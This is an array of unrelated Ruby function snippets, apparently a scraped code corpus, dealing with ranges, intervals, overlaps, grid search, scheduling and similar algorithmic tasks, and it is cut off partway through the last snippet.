[ "def get_squares(range)\n\tresult= []\n\ti= 1\n\twhile( i*i < range.end)\n\t\tresult << i*i\n\t\ti+= 1\n\tend\n\treturn result\nend", "def ranges\n x_start, y_start = absolute(0, 0)\n x_end, y_end = absolute(@diameter - 1, @diameter - 1)\n\n [x_start..x_end, y_start..y_end]\n end", "def front_rear_and_internal_collisions\n colliding_with.where(ended: false).where('reservations.starts_at' => range) + colliding_with.where('reservations.ends_at' => range)\n end", "def find_polys(ta,seq,actions)\n\n minn = 4\n m2 = 1#(minn/2) \n m4 = (minn/4)\n r = [-1,0,0]\n re2 = /((#{ta}{#{m2},})(.{0,3})(#{ta}{#{1},}))/i\n \n \n type='ActionIndetermination'\n poly_base = 'N'\n \n matches = re2.global_match(seq.seq_fasta,3)\n\n\t\tmatches2 = /[^N]N$/.match(seq.seq_fasta)\n\t\t\n\t\t\n # HASH\n polys = []\n\n # crear una region poly nuevo\n poly = {}\n #i=0\n\n matches.each do |pattern2|\n\n #puts pattern2.match[0]\n m_start = pattern2.match.begin(0)+pattern2.offset\n m_end = pattern2.match.end(0)+pattern2.offset-1 \n \n\t\t\t #puts \"MATCH: #{m_start} #{m_end}\"\n\n # does one exist in polys with overlap?\n\n # yes => group it, updated end\n\n # no => one new\n\n if (e=overlap(polys,m_start,m_end))\n \n e['end'] = m_end\n e['found'] = seq.seq_fasta.slice(e['begin'],e['end']-e['begin']+1)\n \n else\n poly={}\n poly['begin'] = m_start\n poly['end'] = m_end # the next pos to pattern's end\n poly['found'] = seq.seq_fasta.slice(poly['begin'],poly['end']-poly['begin']+1)\n polys.push poly\n end\n \n end \n \n \n poly_size=0 \n\n polys.each do |poly|\n #puts \"NEW POLY: #{poly.to_json}\"\n \t\t\n \t\tif poly_near_end(poly['end'],seq.seq_fasta) # near right side\n \t\t #puts \"near end\"\n a = seq.new_action(poly['begin'],poly['end'],type)\n a.right_action=true\n actions.push a\n \n poly_size=poly['end']-poly['begin']+1\n add_stats('size',poly_size)\n else\n \t\t#puts \"far of end\"\n\t if check_poly_length(poly['begin'],poly['end']) and (check_poly_percent(poly,poly_base))\n\t \t\t#puts \"ok\"\n\t\t\t a = seq.new_action(poly['begin'],poly['end'],type)\n\t\t a.right_action=true\n\t\t actions.push a\n\t\t \n if @params.get_param('middle_indetermination_rejects').to_s=='true'\n\t\t seq.seq_rejected=true \n seq.seq_rejected_by_message='Indeterminations in middle of sequence'\n end\n\t\t \n\t\t poly_size=poly['end']-poly['begin']+1\n\t\t add_stats('size',poly_size)\n\t end\n \n \n end\n end \n \n \n end", "def match_range sq1, sq2, how \n\t\tmatches = 0\n\n\t\twater_count = 0\n\t\trange = (-radius..radius)\n\t\trange.each do |row|\n\t\t\tFiber.yield\n\n\t\t\trange.each do |col|\n\t\t\t\tsq_a = sq1.rel [ row, col ]\n\t\t\t\tsq_b = sq2.rel target_coord( row, col, how )\n\n\t\t\t\tnext if sq_a.region.nil? or sq_b.region.nil?\n\n\t\t\t\tif sq_a.water? == sq_b.water?\n\t\t\t\t\tmatches += 1\n\t\t\t\t\twater_count += 1 if sq_a.water?\n\t\t\t\telse\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\n\t\t\tend\n\t\tend\n\n\t\t# Mark matches without water as not valid\n\t\tmatches = 0 if water_count == 0\n\n\t\tmatches\n\tend", "def get_set(start, finish, interval)\n cur_val = start; result = []\n while(cur_val < finish)\n result << cur_val\n cur_val += interval\n end\n result\n end", "def min_meeting_rooms(intervals)\n s, e = [], []\n intervals.each do |i|\n s << i.start\n e << i.end\n end\n s.sort!\n e.sort!\n i = j = 0\n x = ans = 0\n while i < intervals.size\n if s[i] < e[j]\n x += 1\n ans = [ans, x].max\n i += 1\n else\n x -= 1\n j += 1\n end\n end\n ans\nend", "def exposion_range_without_wall(pos)\n\t\trange = Set.new\n\t\t@template.each do |orig_pos|\n\t\t\ttrans_pos = Array.new(orig_pos)\n\t\t\ttrans_pos.row += pos.row\n\t\t\ttrans_pos.col += pos.col\n\t\t\tif (0...n).cover?(trans_pos.row) and (0...m).cover?(trans_pos.col)\n\t\t\t\trange << trans_pos\n\t\t\tend\n\t\tend\n\t\treturn range\n\tend", "def salmon_around(position, range=10)\n (objects_around(position, range)[1]).find_all {|fish| fish.type == Salmon}\n end", "def build_spans on_range\n @spans = Array.new @size[1]\n\n @size[1].times do |y|\n spans = []\n left = (@size[1]-y-1)*@size[0]\n start = nil\n\n @size[0].times do |x|\n d = on_range.include?(@pixels[left+x])\n\n if !start && d\n start = x\n elsif start && !d\n spans << [start, x]\n start = nil\n end\n end\n\n spans << [start, @size[0]] if start\n @spans[y] = spans\n end\n end", "def construct_range_query\n require File.expand_path(File.join(File.dirname(__FILE__), \"../shared_libraries/ra_trees\"))\n \n list = List.init_double_linked_list\n \n @points.each do |point|\n List.push_back(list, Points.init_point(point[0], point[1], \"\"))\n end\n\n range_tree = RATree.build_2d_range_tree(list)\n\n range_query = RATree.two_d_range_query(range_tree, @x, @x1, @y, @y1)\n\n return List.to_a(range_query)\n \nend", "def get_combined_interval(interval_arr, left_edge, right_edge)\n p \"interval_arr: #{interval_arr}\"\n interval_arr.each do |interval| # get combined interval\n p \"interval: #{interval}\"\n p \"left_edge: #{left_edge} right_edge: #{right_edge}\"\n if interval[0] >= 0 && interval[0] < left_edge && interval[1] >= left_edge\n left_edge = interval[0]\n interval_arr.delete(interval)\n elsif interval[0] < 0 && interval[0] > left_edge && interval[1] <= left_edge\n left_edge = interval[0]\n interval_arr.delete(interval)\n elsif interval[1] >= 0 && interval[1] > right_edge && interval[0] <= right_edge\n right_edge = interval[1]\n interval_arr.delete(interval)\n elsif interval[1] < 0 && interval[1] < right_edge && interval[0] >= right_edge\n right_edge = interval[1]\n interval_arr.delete(interval)\n end\n end\n\n interval_arr.each do |interval| # get intervals not part of combined interval\n \n end\n puts\n [interval_arr, left_edge, right_edge]\nend", "def service_lane lane, enter, exit\n segment = []\n (enter..exit).each do |x|\n segment << lane[x]\n end\n width = segment.min\n \nend", "def part2\n lines = data_lines(1)\n target = read_target(lines)\n\n vels = []\n (0..(target[:x].max + 1)).each do |x_velocity|\n y_bounds = target[:y].min - 1\n y_bounds = y_bounds.abs if y_bounds < 0\n (-y_bounds..y_bounds).each do |y_velocity|\n vels << [x_velocity, y_velocity] if intersects?(target, x_velocity, y_velocity)\n end\n end\n puts vels.length\n end", "def max_min_radius(cluster)\n max_min_pos = []\n max_min_length = 0\n avg_length = 0\n cluster.each do |xy|\n all_radi = find_radi(xy, cluster)\n sum = 0\n all_radi.each {|r| sum += r}\n avg_radius = sum.to_f / 6\n min_radius = all_radi.min\n if min_radius > max_min_length\n \tmax_min_pos = xy\n max_min_length = min_radius\n \tavg_length = avg_radius\n elsif min_radius == max_min_length && avg_radius > avg_length\n \tmax_min_pos = xy\n \tmax_min_length = min_radius\n \tavg_length = avg_radius\n end\n end\n results = [max_min_pos, max_min_length]\n return results \n end", "def solution(a)\n # want to know the number of discs that start, stop\n # at each position. Then we can calculate how many\n # intersections there are.\n \n # create a hash with default start, stop values set to 0\n events = Hash.new{ |h, k| h[k] = {:start => 0, :stop => 0}}\n \n # store the start, stop vals for each element in a\n a.each_index do |i|\n events[i - a[i]][:start] += 1\n events[i + a[i]][:stop] += 1\n end\n \n # so now event[i][:start] is the start val for a[i]\n # sort the events\n sorted_events = events.sort_by { |index, val| index}\n sorted_events.map! {|n| n[1]}\n \n # so now sorted_events[i] tells us how many starts and stops occured at (i, 0).\n \n # iterate over our sorted array of hashes which tell us how many discs start and end at each position. There are two cases we need to worry about:\n # 1) how many discs are already going when the new disc starts: (e[:start] * past_start)\n # 2) if multiple discs start at the same position (e[:start] * (e[:start]-1) / 2)\n \n # 1) if there are 3 discs that we're in the middle of and a new disc starts, it intersects with all 3 of them. If there are 3 discs we're in the middle of and 2 new discs start, each of them will intersect with the 3 existing ones, making six interactions.\n # 2) If multiple discs start at the same location, some math is required. It's groups of 2, so the number of intersections at each index is n*(n-1)/2 - for if multiple discs start at that index - plus n*past_starts for when discs are already in progress when we start a new one. Add them all together and you have your solution.\n \n past_starts = 0\n intersects = 0\n sorted_events.each do |event|\n intersects += event[:start] * (event[:start]-1) / 2 + event[:start] * past_starts\n past_starts += event[:start]\n past_starts -= event[:stop]\n end\n \n intersects\n #puts \"events: #{events}\"\nend", "def every(interval, start = 0)\n at start do\n yield\n recur_after interval\n end\n nil\n end", "def build_spans on_range\n # TODO: rewrite in terms of each_row\n @spans = Array.new @size[1]\n\n @size[1].times do |y|\n spans = []\n left = (@size[1]-y-1)*@size[0]\n start = nil\n\n @size[0].times do |x|\n d = on_range.include?(@pixels[left+x])\n\n if !start && d\n start = x\n elsif start && !d\n spans << [start, x]\n start = nil\n end\n end\n\n spans << [start, @size[0]] if start\n @spans[y] = spans\n end\n end", "def range(start, stop)\n return [] if stop < start\n return [stop] if start == stop\n\n [start] + range(start+1, stop)\nend", "def intervals\n @intervals ||= BoardInterval.find_all(interval_set.members)\n end", "def range(start, finish, step)\n return [] if start >= finish\n\n Enumerator.new do |y|\n y << start\n while (start += step) < finish\n y << start\n end\n end\n end", "def find_range_overlap(point1, length1, point2, length2)\n # find the highest start point and lowest end point. The highest\n # (\"rightmost\" or \"upmost\") start point is the start point of overlap.\n # The lowest end point is the end point of the overlap.\n highest_start_point = [point1, point2].max\n lowest_end_point = [point1 + length1, point2 + length2].min\n \n # return nil if no overlap\n if highest_start_point >= lowest_end_point\n return [nil, nil]\n end\n \n # compute the overlap length\n overlap_length = lowest_end_point - highest_start_point\n \n return [highest_start_point, overlap_length]\nend", "def range(start_num, end_num)\n range_array = []\n range_array << start_num\n\n if(start_num < end_num)\n range_array += range(start_num + 1, end_num)\n end\n\n range_array\nend", "def calculate_aoe( range_max, range_min, x = @x, y = @y, v_range_aoe = 0) # mod MGC\n return [] if range_max == nil \n return [[x, y]] if range_max == 0\n\n #prevents items from being pushed if height change between core and outer is less than range/2\n positions = []\n #save position for later processing \n \n #prevents items from being pushed if height change between core and outer is less than range/1.5\n for i in 0..range_max\n it = range_max - i \n #test all couples (it, oy) like: 0 <= it+oy <= range_max\n for oy in 0..i\n next if it+oy < range_min \n for ux, uy in[ [x - it, y - oy], [x - it, y + oy], [x + it, y + oy], [x + it, y - oy] ]\n positions.push([ux, uy]) if valid_new_aoe_pos(ux, uy, x , y, v_range_aoe) and not positions.include?([ux, uy]) # mod MGC\n end\n end\n end\n return positions\n end", "def schedule(start = 0, stop = 100)\n\n # Sort intervals by end point asc\n # iterate from left to right\n # at each endpoint find the max weight from the start to that endpoint\n # Make a comparison if the start of the interval is after the end of the previous \"checkpoint\"\n # add the weight adn that is the new checkpoint\n # if it overlaps then select the larger of the two endpoints\n # This is almost right but not quite\n # we want to break up at previously weighed sectionif we need to\n # we shodul get keep the list of all endpoints weights\n\n # x---x\n # x----x\n # x-------x\n\n # 1,4,3\n # 5,9,4\n # 7,12,5\n\n # Keep the checkpoints here\n # [4:3, 9:7]\n # then see 7,12,5\n # choose 5 or 7 we'd say 7 and may want to do say 7 is max from 0<=>12\n # but if we split it up\n # [4:3, 9:7, 12:8]\n # we could get max 8 if we exclude the middle one\n\n endpoints = []\n interval_list = sort(@interval_list)\n\n interval_list.each do |interval|\n max_weight = interval.weight\n steps = []\n\n # endpoint list is sorted so ya konw we could just do binary search here\n # woudl bring the whoel thing down to nlgn\n endpoints.reverse.each do |endpoint|\n if interval.start > endpoint.stop\n max_weight += endpoint.best_weight\n steps = endpoint.steps.clone\n break\n end\n end\n\n # If we do better by ignoring this interval than record that\n if endpoints.last && endpoints.last.best_weight > max_weight\n max_weight = endpoints.last.best_weight\n steps = endpoints.last.steps\n else\n steps << interval\n end\n\n endpoints << EndpointWeight.new(interval.stop, max_weight, steps)\n end\n\n # endpoints is non-decrasing with each entry. Last must be max\n puts endpoints.last\n endpoints.last.best_weight\n end", "def sun_locations(loc)\r\n range = (@width / 4) - 1\r\n loc1 = loc - range\r\n\tloc2 = loc + range\r\n\tloc1 = (@width + loc1) if loc1 < 1\r\n\tloc2 = loc2 - @width if loc2 > @width\r\n #puts \"\"\r\n\t#puts loc1\r\n\t#puts loc\r\n\t#puts loc2\r\n\t\r\n\t#t = [loc1,loc2]\r\n\t\r\n\tss = []\r\n\tif loc1 < @sun_location\r\n\t [*loc1...(@sun_location)].each do |k|\r\n\t ss << k\r\n\t end\r\n\telsif (@sun_location+1) < loc1\r\n\t [*loc1..@width].each do |k|\r\n\t ss << k\r\n\t end\r\n\t [*1..(@sun_location-1)].each do |k|\r\n\t ss << k\r\n\t end\r\n\tend\r\n\t\r\n\tif @sun_location < loc2\r\n\t [*(@sun_location+1)..loc2].each do |k|\r\n\t ss << k\r\n\t end\r\n\telsif loc2 < @sun_location\r\n\t [*1..loc2].each do |k|\r\n\t ss << k\r\n\t end\r\n\t [*(@sun_location+1)..@width].each do |k|\r\n\t ss << k\r\n\t end\r\n\tend\r\n\t#puts ss\r\n\tss\r\n end", "def maxtrips(start, finish, stops1, stops2)\n vnum1 = vertex_num_for(start)\n vnum2 = vertex_num_for(finish)\n (stops1..stops2).map {|n| (a_matrix**n)[vnum1, vnum2]}.inject(&:+)\n end", "def min_meeting_rooms(intervals)\n sorted_intervals = intervals.sort { |a, b| a[0] <=> b[0] }\n heap = MinHeap.new\n\n count = 0\n sorted_intervals.each do |(start, stop)|\n if heap.size.zero?\n heap.add_node(stop)\n count += 1\n else\n if start >= heap.top\n heap.remove_node\n else\n count += 1\n end\n heap.add_node(stop)\n end\n end\n count\nend", "def find_radi(xy, cluster)\n north = north_radius(xy, cluster)\n south = south_radius(xy, cluster)\n east = east_radius(xy, cluster)\n west = west_radius(xy, cluster)\n ne = ne_radius(xy, cluster)\n nw = nw_radius(xy, cluster)\n se = se_radius(xy, cluster)\n sw = sw_radius(xy, cluster)\n\n all = [north, south, east, west, ne, nw, se, sw]\n return all\n end", "def range(range_start, range_end)\n return [] if range_end < range_start\n return [range_end] if range_end == range_start\n result = [range_end]\n range(range_start, range_end - 1) + result\nend", "def squares_within(radius)\n SquareCollection.new(\n squares.select do |square|\n (square.x - size / 2).abs <= radius && (square.y - size / 2).abs <= radius\n end\n )\n end", "def range(start, finish)\n return [] if start >= finish\n [start + 1] + range(start + 1, finish)\nend", "def generate_arr_of_all_combinations(start_range, end_range, gap)\n combinations = []\n\n start_range.upto(end_range - gap) do |x|\n x.upto(end_range) do |y|\n next if (x + gap) > y\n combinations.push([x, y])\n end\n end\n\n combinations\nend", "def scan\n robotlist = @@all\n robotlist.select {|robot| robot.position == [@position[X]+1, @position[Y]]}\n robotlist.select {|robot| robot.position == [@position[X]-1,@position[Y]]}\n robotlist.select {|robot| robot.position == [@position[X],@position[Y]+1]}\n robotlist.select {|robot| robot.position == [@position[X],@position[Y]-1]}\n end", "def parsed_range(splits)\n last_tuple = splits.pop\n body_of(splits) + head_of(last_tuple)\n end", "def find_asteroids_in_resonance(c_resonance)\n asteroids = Array.new\n File.open(CONFIG['resonance']['db_file'], 'r').each do |line|\n arr = line.split(';')\n resonance = arr[1].gsub!('[', '').gsub!(']', '').split(', ').map{|elem| elem.to_f}\n if ((resonance[0] == c_resonance[0]) && (resonance[1] == c_resonance[1]) && (resonance[2] == c_resonance[2]))\n asteroid_num = arr[0].to_i\n asteroids.push(Asteroid.new(asteroid_num, c_resonance))\n end\n end\n asteroids\n end", "def intervals\n parts = {}\n [:minute, :hour, :day, :month, :day_of_week].each do |granularity|\n if times = times_for(granularity)\n parts[granularity] = times\n end\n end\n\n merged_product parts\n # interval_list.concat times.map {|t| {granularity => t} }\n # m = expression[:minute]\n # m.split(\",\").each do |part|\n # time, divisor = part.split(\"/\")\n # start_time, end_time = time.split \"-\"\n\n # interval_list << {:minute => start_time.to_i}\n # end\n end", "def draw_range_query\n\n @points.each do\n |point|\n \n ellipse(point[0].to_f, point[1].to_f,5.0,5.0)\n \n end\n\n fill(0,127,0)\n line(@x,@y,@x,@y1)\n line(@x,@y,@x1,@y)\n line(@x1,@y,@x1,@y1)\n line(@x, @y1,@x1,@y1)\n\n\n range_query = construct_range_query\n \n #\n # Aqui van tu codigo\n # Solo debes de dibujar los puntos del arreglo range_query\n \nend", "def find_range_overlap(point1, length1, point2, length2)\n\n # find the highest start point and lowest end point.\n # the highest (\"rightmost\" or \"upmost\") start point is\n # the start point of the overlap.\n # the lowest end point is the end point of the overlap.\n highest_start_point = [point1, point2].max\n lowest_end_point = [point1 + length1, point2 + length2].min\n\n # return nil overlap if there is no overlap\n if highest_start_point >= lowest_end_point\n return [nil, nil]\n end\n\n # compute the overlap length\n overlap_length = lowest_end_point - highest_start_point\n\n return [highest_start_point, overlap_length]\nend", "def test_range_overlap_for_intersecting_ranges\n segment = basic_segment\n segment.instance_variable_set(:@start_time, 1.0)\n segment.instance_variable_set(:@end_time, 3.0)\n\n assert_in_delta(1.0, segment.send(:range_overlap, 2.0..4.0))\n end", "def build_leg(line, start, stop)\n trip = []\n until start == stop do\n start += (start < stop) ? 1 : - 1\n trip.push line[start]\n end\n return trip\nend", "def arround_square(scope = 1)\n sl = scope * COORDINATE_PER_KM\n return [XNavi::Coordinate.new(@x - sl, @y - sl), XNavi::Coordinate.new(@x+sl, @y+sl)]\n end", "def getSegments (xStart, xEnd, yStart, yEnd, board)\n\n\tsegBoard = Array.new\n\tind = 0\n\tfor i in xStart..xEnd\n\t\tfor j in yStart..yEnd\n\t\t\tsegBoard[ind] = board[j][i]\n\t\t\tind+=1\n\t\tend\n\tend \n\n\treturn segBoard\n\nend", "def range *p\n a, d, b = nil\n if p.size == 2\n a, b = p\n d = 1\n else\n a, d, b = p\n end\n\n tol = 2.0*Float::EPSILON*[a.abs,b.abs].max;\n sig = signum(d)\n\n # exceptional cases\n # ignoring the infinite cases... breaks with Fixnums.\n #return [0.0/0.0] unless a.finite? && d.finite? && b.finite?\n return [] if d == 0 || a < b && d < 0 || b < a && d > 0\n\n # n = number of intervals = length(v) - 1.\n n = nil\n if a == a.floor && d == 1\n # Consecutive integers.\n n = b.floor - a;\n elsif a == a.floor && d == d.floor\n # Integers with spacing > 1.\n q = (a/d).floor;\n r = a - q*d;\n n = ((b-r)/d).floor - q;\n else\n # General case.\n n = ((b-a)/d).round;\n n -= 1 if sig*(a+n*d - b) > tol\n end\n\n # c = right hand end point.\n c = a + n*d;\n if sig*(c-b) > -tol\n c = b;\n end\n\n # v should be symmetric about the mid-point.\n v = Array.new(n+1, 0);\n for k in 0..(n/2).floor\n v[k] = a + k*d\n v[n-k] = c - k*d\n end\n if n % 2 == 0\n # Keep the mp as an integer if we can\n mp = (a+c)/2.0\n mp = mp.floor if mp.floor == mp && (a+c).is_a?(Fixnum)\n v[n / 2] = mp\n end\n\n return v\n end", "def find_in_range(time_from:, time_to:, time_windows: time_span_windows)\n #puts \"find_in_range, Recieve: diff: #{(time_to - time_from)}, time_from: #{time_from}, time_to: #{time_to}, time_window_left: #{time_windows.size}\"\n return [] if (time_to - time_from) < shorter_time_window_span\n\n while bucket = time_windows.shift\n next unless found_windows = find_fitting_windows(time_from, time_to, bucket)\n return found_windows +\n find_in_range(time_from: time_from, time_to: found_windows.first.fetch(:window_starts), time_windows: time_windows.clone) +\n find_in_range(time_from: found_windows.last.fetch(:window_finishes), time_to: time_to, time_windows: time_windows.clone)\n end\n end", "def makeArrayConsecutive2(statues)\n max_value = statues.max\n min_value = statues.min\n result_array = []\n\n if min_value == max_value\n 0\n else\n for i in range(min_value, max_value)\n result_array.append(i)\n end\n end\n result_array.size - statues.size\nend", "def row(r)\n ranges = Ranges.new\n @sensors.sort.each{|loc, sen|\n range_at_r = sen.range - (loc.y - r).abs\n next if range_at_r.negative?\n\n ranges.union([loc.x - range_at_r, loc.x + range_at_r])\n }\n\n ranges\n end", "def serviceLane(cases, width)\n res = []\n cases.each do |c1, c2|\n res << (c1..c2).each_with_object([]) do |c, ar|\n ar << width[c]\n end.min\n end\n res\nend", "def boundaries\n [intervals.first[0], intervals.last[1]]\n end", "def extend_boundaries(min_odds, max_odds)\n [min_odds - extend_min_interval(min_odds, max_odds),\n max_odds + extend_max_interval(min_odds, max_odds)]\n end", "def explosion_range(bomb_pos)\n\t\tcandidate = exposion_range_without_wall(bomb_pos) - @wall\n\t\telect = Set.new\n\t\twalkable = Set.new(candidate)\n\t\t\n\t\tloop do\n\t\t\tbreak if candidate.empty?\n\t\t\ts, e = bomb_pos, candidate.first\n\t\t\t\n\t\t\tpath = AStar(s, e, walkable)\n\t\t\t\n\t\t\t#no shortest path\n\t\t\tif not path\n\t\t\t\tcandidate.delete(s)\n\t\t\t\tcandidate.delete(e)\n\t\t\t\telect << s\n\t\t\t\tnext\n\t\t\tend\n\t\t\t\n\t\t\t#find shortest path\n\t\t\tpath.each_index do |step|\n\t\t\t\tpos = path[step]\n\t\t\t\tcandidate.delete(pos)\n\t\t\t\telect << pos if step <= @d # bomb on bom_pos can reach pos\n\t\t\tend\n\t\tend\n\t\treturn elect\n\tend", "def divs\n Div.where(\"chromosome = ? and position between ? and ?\",\n chromosome, start, stop)\n .order(\"position ASC\")\n end", "def startstop minsize=30\n stopstop(minsize).find_all { | orf | \n codon1= orf.nt.seq[0..2].upcase\n ['ATG','TTG','CTG','AUG','UUG','CUG'].index(codon1) != nil\n }\n end", "def a_star pitch, start, goal\n\t\t# The set of nodes already evaluated.\n\t\tclosedset = []\n\t\t# The set of tentative nodes to be evaluated.\n\t\topenset = []\n\t\t# Visited nodes\n\t\tfrontier = []\n\t\topenset << start\n\t\t# The map of navigated nodes.\n\t\tcame_from = { }\n\t\t# Distance from start along optimal path.\n\t\tg_score, h_score, f_score = { }, { }, { }\n\t\tg_score[start] = 0\n\t\th_score[start] = dist start, goal, :manhattan\n\t\t# Estimated total distance from start to goal through y.\n\t\tf_score[start] = h_score[start]\n\n\t\t# Main loop\n\t\twhile not openset.empty?\n\t\t\t# Fetching the node among openset with the least f_score\n\t\t\tx, _value = [], 1_000_000\n\t\t\topenset.each do |key|\n\t\t\t\tx, _value = key, f_score[key] if f_score[key] < _value\n\t\t\tend\n\n\t\t\tbreak if x == goal # We reached target point and thus finished looking for it !!\n\n\t\t\t# Moving x from openset to closedset\n\t\t\topenset.delete x\n\t\t\tclosedset << x\n\n\t\t\t(-1..1).each do |i|\n\t\t\t\t(-1..1).each do |j|\n\t\t\t\t\ty = [x[0] + i, x[1] + j]\n\t\t\t\t\tunless i == 0 and y == 0\n\t\t\t\t\t\tif pitch[y].nil? # We only want to explore neighbours\n\t\t\t\t\t\t\tnext if closedset.include? y # If already in closedset, we skip it\n\n\t\t\t\t\t\t\tbetter = false\n\t\t\t\t\t\t\th = dist x, y, :manhattan\n\t\t\t\t\t\t\tg = g_score[x] + h\n\n\t\t\t\t\t\t\tif not openset.include? y then\n\t\t\t\t\t\t\t\treturn [] if frontier.include? y\n\t\t\t\t\t\t\t\tfrontier << y\n\t\t\t\t\t\t\t\topenset << y # Adding current neighbours to openset\n\t\t\t\t\t\t\t\tbetter = true\n\t\t\t\t\t\t\telsif g < g_score[y]\n\t\t\t\t\t\t\t\tbetter = true\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tbetter = false\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t# Updating what needs to be\n\t\t\t\t\t\t\tif better then\n\t\t\t\t\t\t\t\tcame_from[y] = x\n\t\t\t\t\t\t\t\tg_score[y] = g\n\t\t\t\t\t\t\t\th_score[y] = dist y, goal, :manhattan # heuristic estimate of distance (y, coords)\n\t\t\t\t\t\t\t\tf_score[y] = g_score[y] + h_score[y]\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# Finally assembling path and returning it\n\t\tpath = []\n\t\t_cur = goal\n\t\twhile _cur != start do\n\t\t\tpath << _cur\n\t\t\t_cur = came_from[_cur]\n\t\tend\n\n\t\treturn path.reverse\n\tend", "def existing_reservations\n start_dt = self.start_dt.try(:to_datetime).try(:change, offset: \"+0000\")\n end_dt = self.end_dt.try(:to_datetime).try(:change, offset: \"+0000\")\n room_id = self.room.try(:id)\n results_size = (self.is_block?) ? 1000 : 1\n\n return [] if room_id.blank? || start_dt.blank? || end_dt.blank?\n block_query = [{ term: { is_block: false } }, { range: { end_dt: { gte: Time.zone.now.to_datetime.change(offset: \"+0000\") } } }]\n query =\n {\n query: {\n constant_score: {\n filter: {\n bool: {\n must: [\n { term: { room_id: room_id } },\n { term: { deleted: false }},\n { bool:\n {\n should: [\n {\n bool: {\n must: [\n { range: { start_dt: { gte: start_dt } } },\n { range: { start_dt: { lt: end_dt } } }\n ]\n }\n },\n {\n bool: {\n must: [\n { range: { end_dt: { gt: start_dt } } },\n { range: { end_dt: { lte: end_dt } } }\n ]\n }\n },\n {\n bool: {\n must: [\n { range: { start_dt: { lte: start_dt } } },\n { range: { end_dt: { gte: end_dt } } }\n ]\n }\n }\n ]\n }\n }\n ]\n }\n }\n }\n },\n size: results_size\n }\n query[:query][:constant_score][:filter][:bool][:must] += block_query if self.is_block?\n return Reservation.search(query).results\n end", "def range_rc(start_num, end_num)\n\n return [] if end_num <= start_num\n range_rc(start_num, end_num - 1) + [end_num - 1]\nend", "def test_range_overlap_for_non_intersecting_ranges\n segment = basic_segment\n segment.instance_variable_set(:@start_time, 1.0)\n segment.instance_variable_set(:@end_time, 3.0)\n\n assert_in_delta(0.0, segment.send(:range_overlap, 4.0..5.0))\n end", "def find_all_sequences(x,y)\n ret = []\n ret << [[x,y],[x+1,y],[x+2,y],[x+3,y]] if x+3 <= 19\n ret << [[x,y],[x,y+1],[x,y+2],[x,y+3]] if y+3 <= 19\n ret << [[x,y],[x+1,y+1],[x+2,y+2],[x+3,y+3]] if y+3 <= 19 && x+3 <= 19\n ret << [[x,y],[x-1,y+1],[x-2,y+2],[x-3,y+3]] if x-3 >= 0 && y+3 <= 19\n ret\nend", "def get_intervals\n @notes.combination(2).map do |low_voice, high_voice|\n {\n low: low_voice,\n high: high_voice,\n value: high_voice.pitch - low_voice.pitch\n }\n end\n end", "def rec_intersection(rect1, rect2)\n x_min = [rect1[0][0], rect2[0][0]].max\n x_max = [rect1[1][0], rect2[1][0]].min\n\n y_min = [rect1[0][1], rect2[0][1]].max\n y_max = [rect1[1][1], rect2[1][1]].min\n\n return nil if ((x_max < x_min) || (y_max < y_min)) # no overlap\n return [[x_min, y_min], [x_max, y_max]]\nend", "def intervals(from = nil, to = nil)\n return [] unless intervals_beginning\n \n from ||= intervals_beginning\n to ||= Time.now.beginning_of_next_day\n intervals = []\n \n @intervals.each do |start, stop|\n if from > start\n if stop > from\n stop = to if to < stop\n intervals.push [from, stop]\n end\n next\n elsif stop > to\n intervals.push [start, to] if start < to\n break\n end\n intervals.push([start, stop])\n end\n \n if @started_at && @started_at < to && to == Time.now.beginning_of_next_day\n intervals.push([@started_at, Time.now])\n end\n \n intervals\n end", "def visible_asteroids\n @rows.each_with_object([]).with_index do |(row, results), y|\n results << row.each_with_object(Array.new(@width, nil)).with_index do |(pixel, counters), x|\n next if pixel.nil? || pixel.zero?\n\n # count only the unique keys (one / direction)\n counters[x] = asteroid_directions(x, y).keys.length # naive quadratic search\n end\n end\n end", "def find_start_and_finish\n grid.each_with_index do |row, row_idx|\n row.each_with_index do |spot, col_idx|\n if spot == START_MARK\n @start = [row_idx, col_idx]\n elsif spot == END_MARK\n @finish = [row_idx, col_idx]\n end\n end\n end\n end", "def range(start, ending)\n return [] if start >= ending\n\n return [start] + range(start + 1, ending)\nend", "def bisectors\n s = self.sides.map { |side| Line.new(side.p1, side.p2) }\n c = self.incenter\n\n inter1 = Line.new(self.vertices[0], c).intersection(s[1]).first\n inter2 = Line.new(self.vertices[1], c).intersection(s[2]).first\n inter3 = Line.new(self.vertices[2], c).intersection(s[0]).first\n\n {\n self.vertices[0] => Segment.new(self.vertices[0], inter1), \n self.vertices[1] => Segment.new(self.vertices[1], inter2),\n self.vertices[2] => Segment.new(self.vertices[2], inter3),\n }\n end", "def rec_intersection(rect1, rect2)\n\txmin = rect1[0][0] > rect2[0][0] ? rect1[0][0] : rect2[0][0]\n\txmax = rect1[1][0] > rect2[1][0] ? rect2[1][0] : rect1[1][0]\n\tymin = rect1[0][1] > rect2[0][1] ? rect1[0][1] : rect2[0][1]\n\tymax = rect1[1][1] > rect2[1][1] ? rect2[1][1] : rect1[1][1]\n\nreturn nil if ((xmax < xmin) || (ymax < ymin))\nreturn [ [xmin, ymin], [xmax, ymax] ]\nend", "def merge_ranges(schedule)\n merged_schedule = []\n\n schedule.each do |meeting|\n overlapping_time_slots = check_times(meeting, merged_schedule)\n merged_schedule -= overlapping_time_slots if merged_schedule.include?(overlapping_time_slots)\n merged_schedule << slot_merger(overlapping_time_slots)\n end\n\n merged_schedule\nend", "def estimate_region(bots, r2)\n x0, y0, z0, x1, y1, z1 = r2.all_points\n corners = [\n NanoBot.new(x0, y0, z0, 0),\n NanoBot.new(x0, y0, z1, 0),\n NanoBot.new(x0, y1, z0, 0),\n NanoBot.new(x0, y1, z1, 0),\n NanoBot.new(x1, y0, z0, 0),\n NanoBot.new(x1, y0, z1, 0),\n NanoBot.new(x1, y1, z0, 0),\n NanoBot.new(x1, y1, z1, 0)\n ]\n upper_bound = 0\n lower_bound = 0\n\n bots.each do |bot|\n # Is the bot actually sitting inside the box?\n corners_in_range =\n corners.select { |corner| bot.has_target_in_range(corner) }.count\n if corners_in_range == 8\n upper_bound += 1\n lower_bound += 1\n elsif corners_in_range > 0\n upper_bound += 1\n elsif bot.x >= x0 && bot.x <= x1 && bot.y >= y0 && bot.y <= y1 &&\n bot.z >= z0 &&\n bot.z <= z1\n # 